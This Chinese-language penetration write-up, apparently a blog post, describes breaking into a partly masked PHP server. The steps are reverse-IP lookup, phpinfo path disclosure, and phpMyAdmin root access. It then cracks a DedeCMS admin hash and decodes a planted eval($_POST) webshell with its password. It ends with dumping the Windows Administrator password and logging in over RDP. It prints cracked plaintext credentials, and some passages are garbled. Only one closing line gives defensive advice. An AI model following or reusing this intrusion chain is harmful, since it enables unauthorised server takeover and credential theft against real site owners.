利用CMS漏洞渗透并获取某服务器权限
利用CMS漏洞渗透并获取某服务器权限 在phpmyadmin漏洞与利用专题中,我们从多个角度介绍了如何获取webshell并获取服务器权限的案例和情形,但在实际渗透过程中还有一种情况,即服务器上存在phpMyAdmin,且获取了root帐号和密码,但无法执行load_file或者说无法导出webshell到服务器上,在这种情况下就需要充分利用既有CMS漏洞,通过CMS漏洞来获取webshell。目前使用流行架构,特别是一键式部署的系统,大多使用通过CMS,例如Dedecms等,这些CMS系统大多存在漏洞。 1.通过IP查询域名地址 将IP地址175.**..211放在yougetsignal 网站进行域名反查(http://www.yougetsignal.com/tools/web-sites-on-web-server/)获取该IP下存在域名,toku××××.com.cn、wap.××××.com.cn、www.toku××××.com.cn、www.***-******.com、www.***-******.com.cn,如图1所示。也可使使用C段自动查询工具进行查询,例如在https://phpinfo.me/bing.php中输入IP地址进行查询。存在网站http://wap.××××.com.cn/、http://www.××××.com.cn/,如图2所示。两者相比较第一个网站的数据收集较为齐全,但第二个网站可以进行C段域名查询。 图1反查域名 图2在线查询旁站 2. 获取网站真实路径 直接在浏览器中访问该IP地址,存在列目录漏洞,通过phpinfo直接获取真实路径地址,通过该页面的信息,还可以判断服务器是Windows+Apache+Mysql+php架构。且为phpstudy安装的可能性极高。通过175.**..211/phpinfo.php网页的DOCUMENT_ROOT函数可以获取网站安装的真实路径C:/phpsd/WWW/,如图3所示。
图3获取真实路径 3.通过phpmyadmin直接导出一句话后门失败 使用后去的root密码通过phpmyadmin登录后台,如图4所示,登录后台后选择mysql表,然后执行以导出一句话后门代码,查询结果显示成功,但通过刷新网页并没有获取想要的结果,后面继续尝试不同的路径,结果还是没有成功。 图4登录phpmyadmin后台管理 4.获取CMS系统管理员密码 通过PhpMyAdmin查看数据库mouth_admin获取CMS系统管理员表mouth_admin表中admin的密码值a453adb3c3f5630dd492,如图5所示,明显为dedecms系统加密方法,密码哈希值为20位,去掉前三位和最后一位,获取md5值为3adb3c3f5630dd49,经cmd5.com查询获取其密码为mouthzt。 图5获取管理员密码值 5.寻找后台地址 mysql_error_trace.inc 文件访问时会爆出网站的真实后台管理地址,直接在浏览器中访问地址http://www.***-******.com/data/mysql_error_trace.inc,获取后台管理地址为mouthzt如图6所示。使用上面获取的admin的密码登录后台地址http://www.***-******.com/mouthzt成功进入,如图7所示。 图6寻找后台管理地址 图7登录后台 6.获取webshell 通过后台的文件样式管理,直接浏览上传的文件,在其中发现存在vdimgck.php,通过编辑该文件,如图8所示,发现该文件存在代码:
图8怀疑存在后门文件 下载filterinc.gif文件并使用notepad打开该文件,其内容为:
通过对以上代码进行解码,比较笨的方法就是在每一行分别打印变量,也即加入 echo “”; print 变 量 ; 如 图 9 所 示 , 获 取 其 核 心 代 码 为 : Q G V 2 Y W w o J F 9 Q T 1 N U W y d w c D Y 0 b X F h M n g x c m 53 N j g n X S k 7 b a s e 64 解 码 后 为 : @ e v a l ( 变量; 如图9所示,获取其核心代码为: QGV2YWwoJF9QT1NUWydwcDY0bXFhMngxcm53NjgnXSk7 base64解码后为:@eval( 变量;如图9所示,获取其核心代码为:QGV2YWwoJF9QT1NUWydwcDY0bXFhMngxcm53NjgnXSk7base64解码后为:@eval(_POST[‘pp64mqa2x1rnw68’]); 图9解码加密代码 至此获取了一句话后门http://www.***-****.com/vdimgck.php的密码为pp64mqa2x1rnw68,通过中国菜刀直接连接获取webshell权限,如图10所示。 图10获取webshell 在本例中可以直接通过上传php文件来获取webshell,但研究别人的东西会发现一些新的思路和工具。 7.获取系统管理员密码 在本案例中由于系统采用apache架构,因此是系统权限的可能性极大,通过大马直接上传密码获取工具,获取明文密码,如图11所示。Administrator 帐号的密码为55996,使用该密码成功登录3389终端,如图12所示。 图11获取系统密码 图12登录3338服务器 8.安全防范 加强密码安全,去掉无用的测试信息页面,root和admin密码设置为15位以上。